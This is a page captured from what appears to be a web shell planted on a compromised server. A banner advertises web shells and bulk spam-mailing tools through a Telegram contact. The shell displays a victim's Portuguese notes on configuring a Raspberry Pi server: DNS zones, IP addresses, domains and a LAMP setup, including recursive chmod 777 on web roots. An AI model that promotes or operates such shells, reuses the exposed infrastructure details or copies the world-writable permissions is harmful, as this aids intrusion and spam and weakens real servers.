__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.20: ~ $
Configurar servidor

---------------------------------------

Hostname

nano /etc/hostname

caduceu

---------------------------------------
Hosts

nano /etc/hosts

127.0.0.1	localhost.localdomain	localhost
192.168.1.3	ns1.antonini.psc.br	ns1

::1		localhost ip6-localhost ip6-loopback
ff02::1		ip6-allnodes
ff02::2		ip6-allrouters

127.0.1.1	ns1

---------------------------------------

Resolv.conf

criar o arquivo

nano /etc/resolv.conf.tail

Digitar nele

nameserver 192.168.1.3 (ou o IP fixo externo)
domain antonini.psc.br

---------------------------------------

IP fixo

Renomear o arquivo interfaces original

mv /etc/network/interfaces interfaces-dhcp

Criar um novo arquivo interfaces

nano /etc/network/interfaces

colocar dentro:
#Não esquecer de identar as linhas dos IPs

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

allow-hotplug eth0
auto eth0
iface eth0 inet static
address 192.168.1.3
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 201.22.6.39
dns-search antonini.psc.br

após “comandar”

systemctl daemon-reload

Acrescentar no final do arquivo dhcpcd.conf

nano /etc/dhcpcd.conf

interface eth0

static ip_address=192.168.1.3/24
static routers=192.168.1.1
static domain_name_servers=192.168.1.1

depois reboot

Dica aqui: https://www.modmypi.com/blog/how-to-give-your-raspberry-pi-a-static-ip-address-update

---------------------------------------

Instalar Bind9

sudo apt-get install bind9 dnsutils

nano /etc/bind/named.conf.default-zones

Incluir no final:

zone "antonini.psc.br" IN {
    	type master;
    	file "/etc/bind/db.psc";
};

zone "cienciasdasaude.med.br" IN {
    	type master;
    	file "/etc/bind/db.ciencias";
};

zone "antonini.med.br" IN {
    	type master;
    	file "/etc/bind/db.med";
};

zone "211.207.177.in-addr.arpa" {
    	type master;
    	file "/etc/bind/db.192";
};

Criar o arquivo db.psc:

nano /etc/bind/db.psc

Colar dentro dele:

$TTL 604800
@           	IN  	SOA 	ns1.antonini.psc.br. root.antonini.antonini.psc.br. (
            	01012005    	; Serial
            	604800      	; Refresh
            	86400       	; Retry
            	2419200     	; Expire
            	604800 )    	; Negative Cache TTL
;
@       IN  	NS  	ns1.antonini.psc.br.
@       IN  	MX  	5   	mail
@       IN  	A   	177.207.211.213
ns1	IN  	A   	177.207.211.213
mail    IN  	A   	177.207.211.213
www     IN  	A   	177.207.211.213
blogmed	IN  	A   	177.207.211.213
midia	IN  	A   	177.207.211.213
ftp     IN  	A   	177.207.211.213

Criar o arquivo db.ciencias

nano /etc/bind/db.ciencias


$TTL 604800
@               IN      SOA     ns1.cienciasdasaude.med.br. root.antonini.antonini.med.br
                01012005        ; Serial
                604800          ; Refresh
                86400           ; Retry
                2419200         ; Expire
                604800 )        ; Negative Cache TTL
;
@               IN      NS      ns1.cienciasdasaude.med.br.
@               IN      MX      5       mail
@               IN      A       177.207.211.213
ns1		IN      A       177.207.211.213
mail		IN      A       177.207.211.213
www             IN      A       177.207.211.213
ftp             IN      A       177.207.211.213

Criar o arquivo db.192

nano /etc/bind/db.192

@       IN      SOA     ns1.antonini.psc.br. antonini.antonini.psc.br. (
                        2015121608       ; serial, todays date + todays serial #
                        7200              ; refresh, seconds
                        540              ; retry, seconds
                        604800              ; expire, seconds
                        86400 )            ; minimum, seconds
;

antonini.psc.br. 3600 A        177.207.211.213
mail 3600 A        177.207.211.213
www 3600 A        177.207.211.213
antonini.psc.br. 3600      MX    10   mail.antonini.psc.br.
antonini.psc.br. 3600      NS        ns1.antonini.psc.br.
antonini.psc.br. 3600      NS        ns2.no-ip.com.
ns1.antonini.psc.br 86400      PTR        177.207.211.213
213	3600	PTR	antonini.psc.br.
---------------------------------------


Instalar LAMP

sudo apt-get install apache2 apache2-utils

sudo apt-get install libapache2-mod-php5 php5 php-pear php5-xcache php5-mysql php5-curl php5-gd

cd /var/www/

sudo echo "<?php phpinfo(); ?>" | sudo tee index.php

sudo apt-get install mysql-server mysql-client

sudo apt-get install phpmyadmin

> Reconfigurar webserver: apache

> Configurar base de dados dbconfig-common para o phpmyadmin sim (ou yes)

> Digitar a senha do usuário administrativo do MySQL : senha do MySQL

> Digitar uma senha  para o PHPMySQL : usar a mesma senha do MySQL

abrir o arquivo 

nano /etc/apache2/apache2.conf 

incluir no final do arquivo a linha

Include /etc/phpmyadmin/apache.conf

Caso o phpmyadmin dê erro (não encontrado ou acesso negado) digitar no terminal:

sudo ln -s /usr/share/phpmyadmin /var/www/


---------------------------------------
Instalar ProFTP

sudo apt-get install proftpd

nano /etc/proftpd/proftpd.conf

	> IPv6 : off

---------------------------------------

Criar website no apache

cd /etc/apache2/sites-available/

mkdir /var/www/html/psc/

chmod 777 -R /var/www/html/psc/

nano antonini.psc.br.conf

<VirtualHost *:80>
	ServerAdmin antonini@antonini.psc.br
	ServerName antonini.psc.br
	ServerAlias www.antonini.psc.br
	DocumentRoot /var/www/html/psc/
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>


depois:
a2ensite antonini.psc.br.conf
/etc/init.d/apache2 reload
/etc/init.d/apache2 restart

mkdir /var/www/html/ciencias/

chmod 777 -R /var/www/html/ciencias/

nano cienciasdasaude.med.br.conf

<VirtualHost *:80>
	ServerAdmin antonini@antonini.psc.br
	ServerName cienciasdasaude.med.br
	ServerAlias www.cienciasdasaude.med.br
	DocumentRoot /var/www/html/ciencias/
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>


depois:
a2ensite cienciasdasaude.med.br.conf
/etc/init.d/apache2 reload
/etc/init.d/apache2 restart


mkdir /var/www/html/blogmed/

chmod 777 -R /var/www/html/blogmed/

nano blogmed.antonini.psc.br.conf

<VirtualHost *:80>
	ServerAdmin antonini@antonini.psc.br
	ServerName blogmed.antonini.psc.br.conf
	DocumentRoot /var/www/html/blogmed/
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>


depois:
a2ensite blogmed.antonini.psc.br.conf
/etc/init.d/apache2 reload
/etc/init.d/apache2 restart


---------------------------------------


---------------------------------------
Descobrir o UUID de um disco, pendrive ou dispositivo

ls -alh /dev/disk/by-uuid/

Copiar var para o disco externo ou pendrive:

cp -R /var/* /media/pi/a8cb019e-aac4-4bf0-83cc-67cc27e20f76/

Disco rígido Samsung 1TB
da73d3f8-1058-484d-b00c-18859bc707f7

Pendrive Kingstone USB 3.0 128GB
a8cb019e-aac4-4bf0-83cc-67cc27e20f76

UUID=<dispositivo>    /var    ext4	defaults,noatime  0   	3

---------------------------------------

fstab no Raspberry Pi

proc        	/proc       	proc	defaults      	0   	0
/dev/mmcblk0p6  /boot       	vfat	defaults      	0   	2
/dev/mmcblk0p7  /           	ext4	defaults,noatime  0   	1
UUID=a8cb019e-aac4-4bf0-83cc-67cc27e20f76	/var	ext4	defaults,noatime 0	3
# a swapfile is not a swap partition, no line here
#   use  dphys-swapfile swap[on|off]  for that


---------------------------------------

a8cb019e-aac4-4bf0-83cc-67cc27e20f76




Filemanager

Name Type Size Permission Actions
alinhamento.txt File 103 B 0644
cert-ssl.txt File 165 B 0644
comandos_mysql.txt File 697 B 0644
dicas.txt File 33.84 KB 0644
dir_mysql.txt File 15 B 0644
index.html File 147 B 0644
inserir.txt File 2.71 KB 0644
interfaces File 240 B 0644
limpa_ram.txt File 74 B 0644
pureftpd.txt File 164 B 0644
reconf_phpmyadmin.txt File 494 B 0644
remover_trava_ssh.txt File 77 B 0644
rpi-server.txt File 7.4 KB 0644
rpiconfserver.txt File 7.4 KB 0644
saida.txt File 82 B 0644
uuid.txt File 112 B 0644
vi.txt File 172 B 0644
Filemanager